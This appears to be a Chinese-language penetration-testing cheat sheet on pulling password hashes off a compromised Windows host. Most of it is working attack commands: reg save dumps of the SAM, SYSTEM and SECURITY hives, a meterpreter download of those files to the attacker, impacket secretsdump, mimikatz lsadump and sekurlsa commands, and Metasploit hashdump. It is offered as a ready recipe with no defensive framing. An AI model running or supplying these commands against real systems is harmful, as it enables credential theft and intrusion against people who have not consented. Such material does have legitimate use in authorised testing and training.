跳转至

内网离线提取目标hash

很多环境下,不允许上传或者使用 mimikatz。而针对非域控的单机离线提取 hash 显得尤为重要。

在 meterpreter shell 命令切到交互式 cmd 命令。

reg save 方式使得需要下载的目标机hash文件更小。

  • reg save HKLM\SYSTEM sys.hiv
  • reg save HKLM\SAM sam.hiv
  • reg save HKLM\security security.hiv
Text Only
meterpreter >download sys.hiv /tmp
...

meterpreter下载

impacket提取

Bash
root@John:/tmp# python /root/impacket/examples/secretsdump.py ‐sam sam.hiv ‐security security.hiv ‐system sys.hiv LOCAL
# 默认路径/root/impacket/examples/secretsdump.py

mimikatz提取

Bash
# 离线提取
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> pwd.txt

# 在线提取
mimikatz.exe "log Micropoor.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"

MSF提取

Bash
# 需要管理员权限
hashdump
---------------------------------
# 加载mimikatz,默认加载与payload位数相同mimikatz
load mimikatz
kerberos
---------------------------------
# 调用mimikatz本身命令
mimikatz_command -f sekurlsa::searchPasswords